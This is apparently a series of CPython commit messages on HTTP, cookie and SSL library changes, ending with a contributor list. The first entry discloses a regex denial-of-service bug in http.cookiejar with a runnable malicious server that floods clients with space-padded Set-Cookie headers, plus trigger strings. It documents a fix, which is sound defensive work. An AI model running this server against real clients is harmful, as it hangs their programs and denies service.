The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
is_cgi() function of http.server library does not currently handle a
cgi script if one of the cgi_directories is located at the
sub-directory of given path. Since is_cgi() in CGIHTTPRequestHandler
class separates given path into (dir, rest) based on the first seen
'/', multi-level directories like /sub/dir/cgi-bin/hello.py is divided
into head=/sub, rest=dir/cgi-bin/hello.py then check whether '/sub'
exists in cgi_directories = [..., '/sub/dir/cgi-bin'].
This patch makes the is_cgi() keep expanding dir part to the next '/'
then checking if that expanded path exists in the cgi_directories.
Signed-off-by: Siwon Kang <kkangshawn@gmail.com>
https://bugs.python.org/issue38863
* bpo-38216: Allow bypassing input validation
* bpo-36274: Also allow the URL encoding to be overridden.
* bpo-38216, bpo-36274: Add tests demonstrating a hook for overriding validation, test demonstrating override encoding, and a test to capture expectation of the interface for the URL.
* Call with skip_host to avoid tripping on the host checking in the URL.
* Remove obsolete comment.
* Make _prepare_path_encoding its own attr.
This makes overriding just that simpler.
Also, don't use the := operator to make backporting easier.
* Add a news entry.
* _prepare_path_encoding -> _encode_prepared_path()
* Once again separate the path validation and request encoding, drastically simplifying the behavior. Drop the guarantee that all processing happens in _prepare_path.
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.
Co-authored-by: Demian Brecht <demianbrecht@gmail.com>
https://bugs.python.org/issue12144
Automerge-Triggered-By: @asvetlov
Disallow control chars in http URLs in urllib.urlopen. This addresses a potential security problem for applications that do not sanity check their URLs where http request headers could be injected.
* Refactor cookie path check as per RFC 6265
* Add tests for prefix match of path
* Add news entry
* Fix set_ok_path and refactor tests
* Use slice for last letter
Don't send cookies of domain A without Domain attribute to domain B when domain A is a suffix match of domain B while using a cookiejar with `http.cookiejar.DefaultCookiePolicy` policy. Patch by Karthikeyan Singaravelan.
In http.server script, rely on getaddrinfo to bind to preferred address based on the bind parameter.
As a result, now IPv6 is used as the default (including IPv4 on dual-stack systems). Enhanced tests.
AIX allows a trailing slash on local file system paths, which isn't what we want
in http.server. Accordingly, check explicitly for this case in the server code,
rather than relying on the OS raising an exception.
Patch by Michael Felt.
with debuglevel=1 only the header keys got printed. With
this change the header values get printed as well and the single
header entries get '\n' as a separator.
There's no reason a cookie should _ever_ contain pickled data. That's just asking for a critical security vulnerability. Back in Python2 there were helpers for doing that, but they're no more in Python3. Now coded_value is used when the value needs to be encoded for any reason.
* bpo-29613: Added support for SameSite cookies
Implemented as per draft
https://tools.ietf.org/html/draft-west-first-party-cookies-07
* Documented SameSite
And suggestions by members.
* Missing space :(
* Updated News and contributors
* Added version changed details.
* Fix in documentation
* fix in documentation
* Clubbed test cases for same attribute into single.
* Updates
* Style nits + expand tests
* review feedback
bpo-31399: Let OpenSSL verify hostname and IP
The ssl module now uses OpenSSL's X509_VERIFY_PARAM_set1_host() and
X509_VERIFY_PARAM_set1_ip() API to verify hostname and IP addresses.
* Remove match_hostname calls
* Check for libssl with set1_host, libssl must provide X509_VERIFY_PARAM_set1_host()
* Add documentation for OpenSSL 1.0.2 requirement
* Don't support OpenSSL special mode with a leading dot, e.g. ".example.org" matches "www.example.org". It's not standard conform.
* Add hostname_checks_common_name
Signed-off-by: Christian Heimes <christian@python.org>
* Fix multiple typos in code comments
* Add spacing in comments (test_logging.py, test_math.py)
* Fix spaces at the beginning of comments in test_logging.py
blocksize was hardcoded to 8192, preventing efficient upload when using
file-like body. Add blocksize argument to __init__, so users can
configure the blocksize to fit their needs.
I tested this uploading data from /dev/zero to a web server dropping the
received data, to test the overhead of the HTTPConnection.send() with a
file-like object.
Here is an example 10g upload with the default buffer size (8192):
$ time ~/src/cpython/release/python upload-httplib.py 10 https://localhost:8000/
Uploaded 10.00g in 17.53 seconds (584.00m/s)
real 0m17.574s
user 0m8.887s
sys 0m5.971s
Same with 512k blocksize:
$ time ~/src/cpython/release/python upload-httplib.py 10 https://localhost:8000/
Uploaded 10.00g in 6.60 seconds (1551.15m/s)
real 0m6.641s
user 0m3.426s
sys 0m2.162s
In real world usage the difference will be smaller, depending on the
local and remote storage and the network.
See https://github.com/nirs/http-bench for more info.
* bpo-28707: call the constructor of SimpleHTTPRequestHandler in the test with a mock object
* bpo-28707: Add the directory parameter to http.server.SimpleHTTPRequestHandler and http.server module
The deprecation include manual creation of SSLSocket and certfile/keyfile
(or similar) in ftplib, httplib, imaplib, smtplib, poplib and urllib.
ssl.wrap_socket() is not marked as deprecated yet.
An Long
Jason R. Coombs
bcaller
Siwon Kang
Xtreak
Géry Ogam
Raymond Hettinger
Florian Wendelborn
Christian Heimes
Serhiy Storchaka
Gregory P. Smith
Inada Naoki
Matt Houglum
Stéphane Wirtel
Michael Felt
Lisa Roach
Paul Bailey
Marco Strigl
ValeriyaSinevich
Berker Peksag
Alex Gaynor
Julien Palard
Mike
Nir Soffer
Vitor Pereira
Antoine Pitrou
remitamine
Pierre Quentel
Martin Panter
Eric V. Smith
Senthil Kumaran